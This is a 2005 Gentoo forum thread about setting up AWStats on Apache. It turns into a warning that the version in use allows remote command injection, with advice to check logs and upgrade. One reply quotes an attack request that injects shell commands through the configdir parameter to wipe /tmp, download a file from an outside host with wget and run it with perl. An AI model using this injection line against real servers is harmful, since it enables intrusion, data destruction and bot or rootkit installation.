Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
Awstats setup --> problems
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Networking & Security
View previous topic :: View next topic  
Author Message
Koenpje
Tux's lil' helper
Tux's lil' helper


Joined: 04 Jan 2005
Posts: 128

PostPosted: Sat Apr 02, 2005 4:10 pm    Post subject: Awstats setup --> problems Reply with quote

I have an Apache2 server with php/mysql support. I wanted to have a program that shows me some statistics. I saw the program "AWstats". I"ve emerged it, and then followed the guide:

http://awstats.sourceforge.net/docs/awstats_setup.html

Step1 is installing it (but gentoo emerged it) and then I changed a bit the config file, like said in the guide. Then step2, it begins with:
Code:

awstats.pl -config=myvirtualhostname -update


But there is no such file or command (because gentoo emerges I think). What to do now? How can I start awstats? I thought it was a very nice webbased program with graphics and things like that..
Back to top
View user's profile Send private message
msalerno
Veteran
Veteran


Joined: 17 Dec 2002
Posts: 1338
Location: Sweating in South Florida

PostPosted: Sat Apr 02, 2005 5:21 pm    Post subject: Reply with quote

What is the location of awstats.pl? Changes are that it is in your cgi-bin and not in your PATH, so you cannot simply just type the command. What happens if you use paths when executing the command?
Back to top
View user's profile Send private message
Koenpje
Tux's lil' helper
Tux's lil' helper


Joined: 04 Jan 2005
Posts: 128

PostPosted: Sat Apr 02, 2005 5:54 pm    Post subject: Reply with quote

I'm sorry, I was in the wrong directory.

When I typ: http://localhost/cgi-bin/awstats.pl I got the error that he can't find the "awstats.localhost.localdomain.conf". Offcourse not, it named "awstats.gentoo.serveftp.org.conf" because that my hostname. So I changed it to localhost.localdomain, so everything works, only, if some people go the my site, and I load awstats, I see 0 users. How come?

You can test it:

http://gentoo.serveftp.org

http://gentoo.serveftp.org/cgi-bin/awstats.pl
Back to top
View user's profile Send private message
newtonian
Guru
Guru


Joined: 19 Jan 2005
Posts: 465
Location: Hokkaido Japan

PostPosted: Sat Apr 02, 2005 6:42 pm    Post subject: Are you using awstats from portage? Reply with quote

Quote:

I saw the program "AWstats". I"ve emerged it, and then followed the guide:


Are you using the latest version of awstats from portage?

If you are you machine is wide open to a root kit install. You might want to see some articles about other machines with your setup that have been hacked within the past week.

https://forums.gentoo.org/viewtopic-t-316275-start-0-postdays-0-postorder-asc-highlight-apache.html

https://forums.gentoo.org/viewtopic-t-316934-start-0-postdays-0-postorder-asc-highlight-.html

something like this could be used to install a root kit on your system:


Code:

http://gentoo.yoursever.org/cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20www.vpasp.go.ro/sess_3539283e27d73cae29fe2b80f9293f60;perl%20sess_3539283e27d73cae29fe2b80f9293f60;echo%20;echo| HTTP/1.1" 404 357 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98 )


That will install an irc-bot, but if you change www.vpasp.go.ro/sess_3539283e27d73cae29fe2b80f9293f60 to a root-kit sitting on the net ... I'm sure you get the point.


Good Luck and be careful with awstats,
Back to top
View user's profile Send private message
Koenpje
Tux's lil' helper
Tux's lil' helper


Joined: 04 Jan 2005
Posts: 128

PostPosted: Sat Apr 02, 2005 6:51 pm    Post subject: Reply with quote

I've putted the server offline :evil: Stupid script kiddies!

I don't think there is a newer version then the 6.3-r2 version? I will read those topics tommorow, I hope it's not that difficult..
Back to top
View user's profile Send private message
newtonian
Guru
Guru


Joined: 19 Jan 2005
Posts: 465
Location: Hokkaido Japan

PostPosted: Sat Apr 02, 2005 7:11 pm    Post subject: Reply with quote

Koenpje wrote:
I've putted the server offline :evil: Stupid script kiddies!



Good idea. I'd hate to see another gentoo user have to suffer through
a disk format and re-install. That can be very painful, especially if you've got a production
server running.


Cheers,
Back to top
View user's profile Send private message
Koenpje
Tux's lil' helper
Tux's lil' helper


Joined: 04 Jan 2005
Posts: 128

PostPosted: Sat Apr 02, 2005 9:13 pm    Post subject: Reply with quote

Do I need to format now?? :?

He as only been up for one hour.... Is my system infected now??? :?

This computer is my end-work for school :? I can't just format it, I"ve been working months day and night :cry:
Back to top
View user's profile Send private message
newtonian
Guru
Guru


Joined: 19 Jan 2005
Posts: 465
Location: Hokkaido Japan

PostPosted: Sat Apr 02, 2005 9:43 pm    Post subject: Do I need to format now Reply with quote

Koenpje wrote:
Do I need to format now?? :?

He as only been up for one hour.... Is my system infected now??? :?

This computer is my end-work for school :? I can't just format it, I"ve been working months day and night :cry:


No, your computer should be fine. You might want to use grep or vim to search your /var/log/apache2/access_log for the word perl .

If you don't find any awstats perl calls(like the one I listed above) you probably haven't been attacked yet.



Cheers,
Back to top
View user's profile Send private message
Koenpje
Tux's lil' helper
Tux's lil' helper


Joined: 04 Jan 2005
Posts: 128

PostPosted: Sun Apr 03, 2005 9:25 am    Post subject: Reply with quote

I've read on their site that version 6.4 is out and that is fixes a security bug, is that this bug? Version 6.4 isn't avaible yet with emerge, so can I just download the .tar.gz file and install it that way without problems?
Back to top
View user's profile Send private message
Rad
Guru
Guru


Joined: 11 Feb 2004
Posts: 401
Location: Bern, Switzerland

PostPosted: Sun Apr 03, 2005 11:43 am    Post subject: Reply with quote

It is available with emerge... I merged it on March 24.
Try echo "net-www/awstats ~x86" >> /etc/portage/package.keywords or emerge sync!
Back to top
View user's profile Send private message
Koenpje
Tux's lil' helper
Tux's lil' helper


Joined: 04 Jan 2005
Posts: 128

PostPosted: Sun Apr 03, 2005 11:58 am    Post subject: Reply with quote

echo "net-www/awstats ~x86" >> /etc/portage/package.keywords

did the trick, emerge 6.4 version now. Do I need to unmerge first? Or jsut emerge over it? I just emerged over it, I hope that now that security bug is fixed and I can use awstats?
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Networking & Security All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum